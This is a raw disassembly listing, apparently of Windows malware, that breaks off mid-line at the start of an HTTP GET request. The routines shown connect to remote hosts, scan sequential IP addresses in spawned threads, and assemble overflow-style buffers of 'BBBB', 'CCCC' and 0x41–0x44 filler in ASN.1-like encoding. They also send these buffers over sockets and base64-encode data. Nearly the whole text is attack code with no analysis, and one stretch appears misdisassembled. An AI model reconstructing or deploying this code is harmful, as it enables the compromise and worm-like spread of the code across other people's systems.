; CODE XREF: seg000:0040C393j lea eax, [ebp-1CCh] push eax call sub_4152AE mov eax, [ebp-2Ch] mov dword ptr [esp], 0BB8h mov ds:dword_4CDD3C[eax*8], ebx call esi ; Sleep push 0Bh call sub_40B1B3 cmp eax, 1 pop ecx jnz short loc_40C3E9 push offset dword_4CFD38 call ds:dword_4280DC ; RtlDeleteCriticalSection loc_40C3E9: ; CODE XREF: seg000:0040C3DCj push dword ptr [ebp-2Ch] call sub_40B287 pop ecx push ebx call near ptr 0B10000h bound edx, [ebp-75h] in al, dx sub esp, 0BCh mov eax, [ebp+8] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp-0BCh] push 10h rep movsd xor esi, esi push 0 inc esi mov [eax+0A8h], esi lea eax, [ebp-10h] push eax call sub_41B780 add esp, 0Ch mov word ptr [ebp-10h], 2 push dword ptr [ebp-38h] call ds:dword_4CDBF8 ; htons mov [ebp-0Eh], ax mov eax, [ebp-28h] push 6 push esi push 2 mov [ebp-0Ch], eax call ds:dword_4CDC78 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C4B7 lea eax, [ebp-10h] push 10h push eax push esi call ds:dword_4CDBA0 ; connect mov ecx, [ebp-2Ch] imul ecx, 234h cmp eax, 0FFFFFFFFh mov ds:dword_440B44[ecx], esi jz short loc_40C4B7 push dword ptr [ebp-38h] push dword ptr [ebp-28h] call ds:dword_4CDC84 ; inet_ntoa push eax mov edi, offset dword_4D06F8 push offset unk_433320 push edi call sub_41BA76 push 0 lea eax, [ebp-0B8h] push dword ptr [ebp-20h] push edi push eax push dword ptr [ebp-0BCh] call sub_409966 push edi call sub_4152AE add esp, 28h loc_40C4B7: ; CODE XREF: seg000:0040C456j ; seg000:0040C477j push esi call ds:dword_4CDC90 ; closesocket pop edi xor eax, eax pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40C4C6 proc near ; DATA XREF: seg000:00407AACo var_134 = byte ptr -134h var_B4 = byte ptr -0B4h var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 134h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B4] rep movsd mov esi, ds:dword_428064 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40C4F4: ; CODE XREF: sub_40C4C6+ECj push [ebp+var_30] push [ebp+var_20] call ds:dword_4CDC84 ; inet_ntoa push eax lea eax, [ebp+var_134] push offset unk_433348 push eax call sub_41BA76 lea eax, [ebp+var_134] push 1FFh push eax mov eax, [ebp+var_24] imul eax, 234h add eax, offset dword_440938 push eax call sub_41B7E0 add esp, 1Ch lea eax, [ebp+var_8] push eax lea eax, [ebp+var_B4] push edi push eax push 40C3F9h push edi push edi call ds:dword_42807C ; CreateThread cmp eax, edi mov [ebp+var_4], eax jz short loc_40C560 jmp short loc_40C55B ; --------------------------------------------------------------------------- loc_40C557: ; CODE XREF: sub_40C4C6+98j push 32h call esi ; Sleep loc_40C55B: ; CODE XREF: sub_40C4C6+8Fj cmp [ebp+var_C], edi jz short loc_40C557 loc_40C560: ; CODE XREF: sub_40C4C6+8Dj push [ebp+var_4] call ds:dword_42806C ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep lea eax, [ebp+var_20] push 4 push eax lea eax, [ebp+arg_0] push eax call sub_41C500 add esp, 0Ch push [ebp+arg_0] call ds:dword_4CDB20 ; htonl inc eax push eax mov [ebp+arg_0], eax call ds:dword_4CDBF4 ; htonl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax lea eax, [ebp+var_20] push eax call sub_41C500 add esp, 0Ch jmp loc_40C4F4 sub_40C4C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C5B7 proc near ; DATA XREF: seg000:004077C3o var_130 = byte ptr -130h var_B0 = dword ptr -0B0h var_AC = byte ptr -0ACh var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 130h push ebx mov ebx, [ebp+arg_0] push esi push edi push 2Bh mov esi, ebx pop ecx lea edi, [ebp+var_B0] rep movsd mov esi, ds:dword_428064 mov dword ptr [ebx+0A4h], 1 xor edi, edi loc_40C5E5: ; CODE XREF: sub_40C5B7+BCj push [ebp+var_2C] push [ebp+var_1C] call ds:dword_4CDC84 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_43339C push eax call sub_41BA76 lea eax, [ebp+var_130] push 1FFh push eax mov eax, [ebp+var_20] imul eax, 234h add eax, offset dword_440938 push eax call sub_41B7E0 add esp, 1Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_B0] push edi push eax push 40C3F9h push edi push edi call ds:dword_42807C ; CreateThread cmp eax, edi mov [ebp+arg_0], eax jz short loc_40C651 jmp short loc_40C64C ; --------------------------------------------------------------------------- loc_40C648: ; CODE XREF: sub_40C5B7+98j push 32h call esi ; Sleep loc_40C64C: ; CODE XREF: sub_40C5B7+8Fj cmp [ebp+var_8], edi jz short loc_40C648 loc_40C651: ; CODE XREF: sub_40C5B7+8Dj push [ebp+arg_0] call ds:dword_42806C ; CloseHandle push dword ptr [ebx+8Ch] mov [ebx+0A8h], edi call esi ; Sleep mov eax, [ebp+var_2C] cmp eax, [ebp+var_28] jz short loc_40C678 inc [ebp+var_2C] jmp loc_40C5E5 ; --------------------------------------------------------------------------- loc_40C678: ; CODE XREF: sub_40C5B7+B7j push [ebp+var_1C] call ds:dword_4CDC84 ; inet_ntoa push eax lea eax, [ebp+var_130] push offset unk_433370 push eax call sub_41BA76 push edi lea eax, [ebp+var_130] push [ebp+var_14] push eax lea eax, [ebp+var_AC] push eax push [ebp+var_B0] call sub_409966 push [ebp+var_20] call sub_40B287 add esp, 24h xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_40C5B7 endp ; =============== S U B R O U T I N E ======================================= sub_40C6C4 proc near ; CODE XREF: sub_40C930+Ep ; sub_40C930+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C6C4 endp ; =============== S U B R O U T I N E ======================================= sub_40C6CE proc near ; CODE XREF: sub_40C930+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi push ebx mov esi, ecx call sub_41B6C5 mov edi, eax pop ecx test edi, edi jz short loc_40C700 push ebx push 0 push edi call sub_41B780 push ebx push [esp+1Ch+arg_0] push edi call sub_41C500 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C700: ; CODE XREF: sub_40C6CE+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C6CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C708 proc near ; CODE XREF: sub_40C7FA+18p ; sub_40C874+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx mov ecx, [ebp+arg_C] push esi push edi lea edi, [eax+ecx] push edi call sub_41B6C5 mov esi, eax pop ecx test esi, esi jz short loc_40C754 push edi push 0 push esi call sub_41B780 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41C500 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41C500 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C754: ; CODE XREF: sub_40C708+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C708 endp ; =============== S U B R O U T I N E ======================================= sub_40C75D proc near ; CODE XREF: sub_40C7FA+5Ep ; sub_40C7FA+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C76D push eax call sub_41B2A1 pop ecx loc_40C76D: ; CODE XREF: sub_40C75D+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C75D endp ; =============== S U B R O U T I N E ======================================= sub_40C776 proc near ; CODE XREF: sub_40C7FA+20p ; sub_40C8D5+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C7A0 xor ebx, ebx cmp eax, 7Fh setnl bl lea ebx, [ebx+ebx+1] add eax, ebx push eax call sub_41B6C5 mov edi, eax pop ecx test edi, edi jnz short loc_40C7A4 loc_40C7A0: ; CODE XREF: sub_40C776+Dj xor al, al jmp short loc_40C7F6 ; --------------------------------------------------------------------------- loc_40C7A4: ; CODE XREF: sub_40C776+28j mov eax, [esi+4] add eax, ebx push eax push 0 push edi call sub_41B780 add esp, 0Ch cmp ebx, 1 jnz short loc_40C7C4 mov al, [esi+4] mov [edi], al lea eax, [edi+1] jmp short loc_40C7D9 ; --------------------------------------------------------------------------- loc_40C7C4: ; CODE XREF: sub_40C776+42j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al lea eax, [edi+3] loc_40C7D9: ; CODE XREF: sub_40C776+4Cj push dword ptr [esi+4] push dword ptr [esi] push eax call sub_41C500 add esp, 0Ch push dword ptr [esi] call sub_41B2A1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C7F6: ; CODE XREF: sub_40C776+2Cj pop edi pop esi pop ebx retn sub_40C776 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C7FA proc near ; CODE XREF: sub_40C930+89p ; sub_40C930+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CDAB0 call sub_40C708 lea ecx, [ebp+var_8] call sub_40C776 mov eax, [ebp+var_4] inc eax push eax call sub_41B6C5 mov edi, eax pop ecx test edi, edi jnz short loc_40C834 xor al, al jmp short loc_40C870 ; --------------------------------------------------------------------------- loc_40C834: ; CODE XREF: sub_40C7FA+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B780 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41C500 add esp, 18h mov ecx, esi call sub_40C75D mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C75D mov al, 1 loc_40C870: ; CODE XREF: sub_40C7FA+38j pop edi pop esi leave retn sub_40C7FA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C874 proc near ; CODE XREF: sub_40C8A8+14p ; sub_40C8C5+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C708 mov ecx, esi call sub_40C75D mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40C874 endp ; =============== S U B R O U T I N E ======================================= sub_40C8A8 proc near ; CODE XREF: sub_40C930+F0p ; sub_40C930+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41B1D0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40C874 pop esi retn 4 sub_40C8A8 endp ; =============== S U B R O U T I N E ======================================= sub_40C8C5 proc near ; CODE XREF: sub_40C911+Bp ; sub_40C930+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40C874 retn 8 sub_40C8C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8D5 proc near ; CODE XREF: sub_40C911+16p ; sub_40C930+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C776 test al, al jz short loc_40C90E push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42DF84 call sub_40C708 mov ecx, esi call sub_40C75D mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40C90E: ; CODE XREF: sub_40C8D5+Fj pop esi leave retn sub_40C8D5 endp ; =============== S U B R O U T I N E ======================================= sub_40C911 proc near ; CODE XREF: sub_40C930+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40C8C5 test al, al jz short loc_40C92C mov ecx, esi call sub_40C8D5 loc_40C92C: ; CODE XREF: sub_40C911+12j pop esi retn 8 sub_40C911 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C930 proc near ; CODE XREF: seg000:0040D1A9p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C6C4 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CC74 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CC74 push esi lea ecx, [ebp+var_30] call sub_40C6C4 lea ecx, [ebp+var_20] call sub_40C6C4 lea ecx, [ebp+var_50] call sub_40C6C4 lea ecx, [ebp+var_18] call sub_40C6C4 lea ecx, [ebp+var_40] call sub_40C6C4 lea ecx, [ebp+var_38] call sub_40C6C4 lea ecx, [ebp+var_28] call sub_40C6C4 push 4 push offset dword_4333D4 lea ecx, [ebp+var_30] call sub_40C874 push 3 push offset dword_4333DC lea ecx, [ebp+var_30] call sub_40C874 lea ecx, [ebp+var_30] call sub_40C7FA lea ecx, [ebp+var_30] call sub_40C8D5 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B780 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40C874 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40C874 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40C874 lea ecx, [ebp+var_20] call sub_40C7FA push offset loc_433764 lea ecx, [ebp+var_50] call sub_40C8A8 lea ecx, [ebp+var_50] call sub_40C7FA push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B780 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C6CE lea ecx, [ebp+var_58] call sub_40C7FA push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40C911 lea ecx, [ebp+var_58] call sub_40C75D push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B780 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40C8A8 push 4 push offset dword_4333E0 lea ecx, [ebp+var_18] call sub_40C874 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40C874 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40C874 lea ecx, [ebp+var_18] call sub_40C7FA push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40C8C5 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40C8C5 lea ecx, [ebp+var_40] call sub_40C8D5 lea ecx, [ebp+var_18] call sub_40C75D lea ecx, [ebp+var_50] call sub_40C75D push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40C8C5 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40C8C5 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40C8C5 lea ecx, [ebp+var_38] call sub_40C8D5 lea ecx, [ebp+var_20] call sub_40C75D lea ecx, [ebp+var_30] call sub_40C75D lea ecx, [ebp+var_40] call sub_40C75D push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B780 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40C874 lea ecx, [ebp+var_28] call sub_40C7FA push 2 push offset dword_433758 lea ecx, [ebp+var_28] call sub_40C874 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40C8C5 lea ecx, [ebp+var_28] call sub_40C8D5 lea ecx, [ebp+var_38] call sub_40C75D lea ecx, [ebp+var_10] call sub_40C6C4 lea ecx, [ebp+var_8] call sub_40C6C4 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40C8C5 lea ecx, [ebp+var_10] call sub_40C776 lea ecx, [ebp+var_28] call sub_40C75D push offset dword_433754 lea ecx, [ebp+var_8] call sub_40C8A8 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40C8C5 lea ecx, [ebp+var_8] call sub_40C776 lea ecx, [ebp+var_10] call sub_40C75D push offset dword_433750 lea ecx, [ebp+var_10] call sub_40C8A8 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40C8C5 lea ecx, [ebp+var_10] call sub_40C776 lea ecx, [ebp+var_8] call sub_40C75D push offset dword_433744 lea ecx, [ebp+var_8] call sub_40C8A8 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40C8C5 lea ecx, [ebp+var_8] call sub_40C776 lea ecx, [ebp+var_10] call sub_40C75D push (offset loc_43373F+1) lea ecx, [ebp+var_48] call sub_40C8A8 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40C8C5 lea ecx, [ebp+var_8] call sub_40C75D pop esi loc_40CC74: ; CODE XREF: sub_40C930+1Bj ; sub_40C930+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop edi pop ebx mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx leave retn sub_40C930 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CC86 proc near ; CODE XREF: sub_40CD4A+A2p ; sub_40CD4A+C7p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi mov esi, [ebp+arg_0] lea eax, [ebp+var_8] push edi push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 xor edi, edi push eax lea eax, [esi+1] inc edi push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call ds:dword_428228 ; select cmp eax, edi jnz short loc_40CCED lea eax, [ebp+var_10C] push eax push esi call sub_426A18 ; __WSAFDIsSet test eax, eax jnz short loc_40CCF1 loc_40CCED: ; CODE XREF: sub_40CC86+54j xor eax, eax jmp short loc_40CD01 ; --------------------------------------------------------------------------- loc_40CCF1: ; CODE XREF: sub_40CC86+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call ds:dword_4CDC10 ; recv loc_40CD01: ; CODE XREF: sub_40CC86+69j pop edi pop esi leave retn sub_40CC86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD05 proc near ; CODE XREF: sub_40CD4A+80p ; sub_40CD4A+AEp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call ds:dword_4CDBF4 ; htonl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call ds:dword_4CDC48 ; send cmp eax, 4 jz short loc_40CD2F xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CD2F: ; CODE XREF: sub_40CD05+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4CDC48 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CD05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD4A proc near ; CODE XREF: sub_40CE29+48p ; seg000:0040D29Ap var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41B6C5 mov esi, eax pop ecx test esi, esi jnz short loc_40CD73 xor al, al jmp loc_40CE24 ; --------------------------------------------------------------------------- loc_40CD73: ; CODE XREF: sub_40CD4A+20j push ebx push 0 push esi call sub_41B780 push 2Fh push offset dword_433470 push esi call sub_41C500 push 8 lea eax, [esi+31h] push offset dword_4334A0 push eax mov [esi+2Fh], di call sub_41C500 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41C500 push 6 add ebx, edi push offset dword_4D08F8 push ebx call sub_41C500 push 85h push offset dword_4333E8 push [ebp+arg_0] call sub_40CD05 add esp, 48h test al, al jnz short loc_40CDDA loc_40CDD6: ; CODE XREF: sub_40CD4A+B8j xor bl, bl jmp short loc_40CE1B ; --------------------------------------------------------------------------- loc_40CDDA: ; CODE XREF: sub_40CD4A+8Aj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_40CC86 push [ebp+var_4] push esi push [ebp+arg_0] call sub_40CD05 add esp, 1Ch test al, al jz short loc_40CDD6 push 0 lea eax, [ebp+var_104] push edi push eax push [ebp+arg_0] call sub_40CC86 add esp, 10h mov bl, 1 loc_40CE1B: ; CODE XREF: sub_40CD4A+8Ej push esi call sub_41B2A1 pop ecx mov al, bl loc_40CE24: ; CODE XREF: sub_40CD4A+24j pop edi pop esi pop ebx leave retn sub_40CD4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE29 proc near ; CODE XREF: seg000:0040D280p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_4334B0 push [ebp+arg_0] call ds:dword_428224 ; send cmp eax, 48h jnz short loc_40CE64 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CC86 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40CE64 cmp [ebp+var_20], 82h jz short loc_40CE68 loc_40CE64: ; CODE XREF: sub_40CE29+1Bj ; sub_40CE29+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CE68: ; CODE XREF: sub_40CE29+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CD4A add esp, 0Ch leave retn sub_40CE29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE7B proc near ; CODE XREF: sub_40CEC7+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul ds:dbl_428698 call sub_41C988 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul ds:dbl_428690 fstp [esp+10h+var_10] call sub_41C869 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41C988 inc eax leave retn sub_40CE7B endp ; =============== S U B R O U T I N E ======================================= sub_40CEC7 proc near ; CODE XREF: sub_40D066+24p var_40 = qword ptr -40h mov eax, offset loc_4270BB call sub_41CE54 sub esp, 2Ch push ebx push esi push edi xor edi, edi mov [ebp-20h], edi mov al, [ebp+13h] push edi lea ecx, [ebp-38h] mov [ebp-38h], al call sub_40D4F9 push dword ptr [ebp+10h] xor ebx, ebx inc ebx mov [ebp-4], ebx call sub_40CE7B cmp [ebp-2Ch], eax pop ecx jnb short loc_40CF09 push edi push eax lea ecx, [ebp-38h] call sub_40D473 loc_40CF09: ; CODE XREF: sub_40CEC7+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D027 mov ebx, [ebp+10h] loc_40CF18: ; CODE XREF: sub_40CEC7+157j cmp dword ptr [ebp+10h], 3 jb short loc_40CF23 push 3 loc_40CF20: ; CODE XREF: sub_40CEC7+64j pop ebx jmp short loc_40CF36 ; --------------------------------------------------------------------------- loc_40CF23: ; CODE XREF: sub_40CEC7+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40CF2D push 2 jmp short loc_40CF20 ; --------------------------------------------------------------------------- loc_40CF2D: ; CODE XREF: sub_40CEC7+60j cmp dword ptr [ebp+10h], 1 jnz short loc_40CF36 xor ebx, ebx inc ebx loc_40CF36: ; CODE XREF: sub_40CEC7+5Aj ; sub_40CEC7+6Aj mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul ds:dbl_4286A0 fstp [esp+40h+var_40] call sub_41C9AF pop ecx pop ecx call sub_41C988 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40CF75 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40CF75: ; CODE XREF: sub_40CEC7+94j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40CFE3 add [ebp-18h], eax loc_40CFC7: ; CODE XREF: sub_40CEC7+11Aj movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, ds:byte_433500[eax] push eax push 1 call sub_40D2F4 inc esi cmp esi, [ebp-1Ch] jb short loc_40CFC7 loc_40CFE3: ; CODE XREF: sub_40CEC7+FBj cmp dword ptr [ebp-18h], 48h jb short loc_40D001 push dword ptr [ebp+14h] call sub_41B1D0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D34E mov [ebp-18h], edi loc_40D001: ; CODE XREF: sub_40CEC7+120j push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D01B sub esi, [ebp-1Ch] loc_40D00C: ; CODE XREF: sub_40CEC7+152j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D2F4 dec esi jnz short loc_40D00C loc_40D01B: ; CODE XREF: sub_40CEC7+140j cmp [ebp+10h], edi ja loc_40CF18 xor ebx, ebx inc ebx loc_40D027: ; CODE XREF: sub_40CEC7+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D4F9 push 0FFFFFFFFh lea eax, [ebp-38h] push edi push eax mov ecx, esi call sub_40D3A6 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D4F9 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40CEC7 endp ; =============== S U B R O U T I N E ======================================= sub_40D066 proc near ; CODE XREF: seg000:0040D263p mov eax, offset loc_4270D8 call sub_41CE54 sub esp, 10h push ebx push esi push edi push offset dword_43FDB4 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40CEC7 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41B6C5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D0B0 xor bl, bl jmp short loc_40D0F4 ; --------------------------------------------------------------------------- loc_40D0B0: ; CODE XREF: sub_40D066+44j mov ecx, [ebp-18h] mov eax, offset dword_4286A8 cmp ecx, ebx jnz short loc_40D0BE mov ecx, eax loc_40D0BE: ; CODE XREF: sub_40D066+54j cmp [ebp+18h], ebx jz short loc_40D0C6 mov eax, [ebp+18h] loc_40D0C6: ; CODE XREF: sub_40D066+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / 